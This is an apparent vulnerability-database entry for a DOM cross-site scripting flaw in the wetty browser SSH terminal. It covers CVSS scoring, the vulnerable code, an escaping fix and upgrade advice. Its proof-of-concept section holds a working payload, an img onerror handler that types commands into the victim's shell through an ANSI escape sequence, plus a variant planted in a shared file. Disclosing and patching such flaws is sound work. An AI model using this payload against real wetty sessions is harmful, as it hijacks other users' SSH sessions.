Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-delivered XSS requires no attacker privilege; scope changes as XSS bridges the browser origin to the SSH session, yielding C:H and I:H.
Primary rating from Vendor (https://github.com/butlerx/wetty).
CVSS VectorVendor: https://github.com/butlerx/wetty
Lifecycle Timeline
5DescriptionCVE.org
Summary
The wetty client decodes a base64 filename from the file-download escape sequence and interpolates it raw into a Toastify HTML string (escapeMarkup: false). Any output the victim renders - a cat'd file, a tailed log, an SSH MOTD, a curl response - that contains \x1b[5i...:...\x1b[4i runs script in the wetty origin and types attacker-chosen keystrokes into the victim's SSH session.
Preconditions
- Victim has wetty open with an active SSH session.
- Attacker delivers the file-download escape sequence (
\x1b[5i<b64-name>:<b64-content>\x1b[4i) into output the victim's terminal renders. - Default configuration; no non-default flags required.
Details
// src/client/wetty.ts:37, 46-62
const fileDownloader = new FileDownloader();
// ...
socket.on('data', (data: string) => {
const remainingData = fileDownloader.buffer(data);
// every PTY byte forwarded by the server passes through buffer()
// ...
})Every byte the server forwards from the PTY passes through FileDownloader.buffer. The buffer scans for the documented file-download markers \x1b[5i (begin) and \x1b[4i (end) - documented in docs/downloading-files.md - and, on a complete match, hands the inner payload to onCompleteFile.
// src/client/wetty/download.ts:9-77
function onCompleteFile(bufferCharacters: string): void {
let fileNameBase64;
let fileCharacters = bufferCharacters;
if (bufferCharacters.includes(':')) {
[fileNameBase64, fileCharacters] = bufferCharacters.split(':');
}
// ...
void detectAndDownload(bytes, fileCharacters, fileNameBase64);
}
async function detectAndDownload(/* ... */): Promise<void> {
// ...
let fileName;
try {
if (fileNameBase64 !== undefined) {
fileName = window.atob(fileNameBase64); // attacker-controlled
}
} catch { /* ... */ }
fileName ??= `file-${ /* timestamp default */ }`;
// ...
Toastify({
text: `Download ready: <a href="${blobUrl}" target="_blank" `
+ `download="${fileName}">${fileName}</a>`, // sink
duration: 10000,
// ...
escapeMarkup: false,
}).showToast();
}fileName is base64-decoded from the escape-sequence payload, then interpolated twice into a string that Toastify renders as raw HTML (escapeMarkup: false). No HTML escaping runs between atob and the toast markup. The wetty client exposes the live terminal as window.wetty_term, and term.input(data, true) (src/client/wetty/term.ts:80, 93-97, 132, 145-198) fires xterm.js's onData, which src/client/wetty.ts:40-42 forwards as a socket input event - i.e., script in the wetty origin types into the victim's SSH session.
Proof of concept
Setup
- Bring up wetty and its bundled SSH host from a fresh clone:
git clone https://github.com/butlerx/wetty
cd wetty
docker compose up -d
sleep 5- Open
http://localhost/wettyin a browser. The login terminal prompts for a username (enterterm) then proxies towetty-ssh, which prompts for the SSH password (alsoterm, set incontainers/ssh/Dockerfile). The browser tab now holds a shell on the SSH container.
Exploit
- In the SSH session, build and emit the escape sequence. The filename portion carries the HTML payload; the content portion is a short literal so the toast renders quickly:
PAYLOAD='"><img src=x onerror="window.wetty_term.input(\"id > /tmp/pwned\\n\",true)">'
FNAME_B64=$(printf '%s' "$PAYLOAD" | base64 -w0)
DATA_B64=$(printf 'bait' | base64 -w0)
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64"Expected: a Toastify notification appears at the bottom-right of the wetty page. Its DOM contains the attacker-supplied <img> element with the onerror handler.
- The
onerrorhandler callswindow.wetty_term.input("id > /tmp/pwned\n", true), which xterm.js dispatches as adataevent;src/client/wetty.ts:40-42forwards it as a socketinputevent; the server writes it to the PTY. The SSH host runsid > /tmp/pwnedas the connected user:
cat /tmp/pwnedExpected: uid=1000(term) gid=1000(term) groups=1000(term).
- The same chain works cross-user. On a shared SSH host, a low-privileged user plants the sequence in a file the higher-privileged user reads via wetty:
# As the low-priv user on the SSH host
printf '\x1b[5i%s:%s\x1b[4i' "$FNAME_B64" "$DATA_B64" > /tmp/notes.txtWhen the higher-privileged user's wetty session runs cat /tmp/notes.txt, attacker-controlled JavaScript types commands into that user's shell.
Impact
- Confidentiality: Reads the rendered terminal contents via
window.wetty_term.buffer.active. - Integrity: Types attacker-chosen commands into the victim's SSH session via
window.wetty_term.input(). - Auth: A writer of content the victim renders gains keystroke injection in the victim's higher-privileged session - a path from any local SSH user to commands as the wetty user.
Suggestions to fix
> _This has not been tested - it is illustrative only._
HTML-escape the decoded filename before interpolating it into Toastify's HTML markup at src/client/wetty/download.ts:67-77.
fileName ??= `file-${new Date()
.toISOString()
.split('.')[0]
.replace(/-/g, '')
.replace('T', '')
.replace(/:/g, '')}${fileExt ? `.${fileExt}` : ''}`;
+ const safeName = fileName.replace(/[&<>"']/g, (c) =>
+ ({ '&': '&', '<': '<', '>': '>', '"': '"', "'": ''' })[c] ?? c,
+ );
const blob = new Blob([bytes.buffer as ArrayBuffer], { type: mimeType });
const blobUrl = URL.createObjectURL(blob);
Toastify({
- text: `Download ready: <a href="${blobUrl}" target="_blank" download="${fileName}">${fileName}</a>`,
+ text: `Download ready: <a href="${blobUrl}" target="_blank" download="${safeName}">${safeName}</a>`,
duration: 10000,Articles & Coverage 1
AnalysisAI
DOM XSS in wetty, the browser-based SSH terminal emulator, enables any party able to inject a crafted ANSI escape sequence into terminal output to execute arbitrary JavaScript in the victim's browser origin and subsequently inject keystrokes into their active SSH session. The vulnerability resides in the file-download feature: the client decodes a base64-encoded filename from the documented escape sequence and interpolates it directly into a Toastify notification string with escapeMarkup set to false, with no HTML sanitization applied between the atob() call and the DOM sink. A detailed, step-by-step proof-of-concept is publicly available via the GitHub security advisory; vendor-released patch 3.0.4 is available, and the vulnerability is not listed in CISA KEV at time of analysis.
Technical ContextAI
wetty (pkg:npm/wetty) is a Node.js application that proxies SSH sessions through a browser-based xterm.js terminal over WebSocket. The file-download feature is documented and enabled by default: the PTY byte stream is scanned for the markers ESC[5i (begin) and ESC[4i (end), and any matching payload is passed to FileDownloader.onCompleteFile in src/client/wetty/download.ts. The filename field is extracted from the colon-delimited payload and decoded with window.atob() - the only transformation applied before it reaches the HTML sink. This decoded, attacker-controlled string is then interpolated twice into an HTML anchor element string passed to Toastify with escapeMarkup: false, causing Toastify to inject the string directly into the DOM as raw markup rather than as text content. CWE-79 (Improper Neutralization of Input During Web Page Generation - Cross-site Scripting) precisely describes the root cause: externally sourced data traverses an insufficient-trust boundary and reaches an HTML sink without encoding. The additional severity comes from the wetty client exposing window.wetty_term and window.wetty_term.input(), which routes data through xterm.js as socket input events (src/client/wetty.ts:40-42), completing a keystroke-injection path from DOM XSS back into the underlying SSH session on the server.
RemediationAI
Upgrade wetty to version 3.0.4, the vendor-released patch for this vulnerability as confirmed by both npm package data and the GitHub advisory at https://github.com/butlerx/wetty/security/advisories/GHSA-p26j-h7wj-r568. The fix involves HTML-escaping the base64-decoded filename before it is interpolated into the Toastify HTML string in src/client/wetty/download.ts, replacing the raw interpolation with a sanitized equivalent that encodes the characters &, <, >, ", and '. If immediate upgrade is not possible, restrict write access to files and streams that privileged wetty users are likely to render - specifically shared directories, MOTD files, and log paths - to limit the attacker's ability to deliver the escape sequence; note this workaround is incomplete if the attacker controls any server-side output such as SSH MOTD for their own account or curl responses from an attacker-controlled host. There is no runtime flag to disable the file-download feature without modifying source code. Placing wetty behind an authenticating reverse proxy does not mitigate this vulnerability, as exploitation occurs within an already-authenticated victim session.
An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl
runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac
Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post
Path traversal in JFrog Artifactory (CWE-22) enables an authenticated low-privilege user to write data outside the inten
Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build
Remote code execution in Gogs through 0.14.2 allows authenticated users (and unauthenticated attackers on default-config
Remote code execution in Flowise before 3.1.2 allows any authenticated user (or API caller with chatflow view/update per
Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l
Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c
Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2
Same weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-58245
GHSA-p26j-h7wj-r568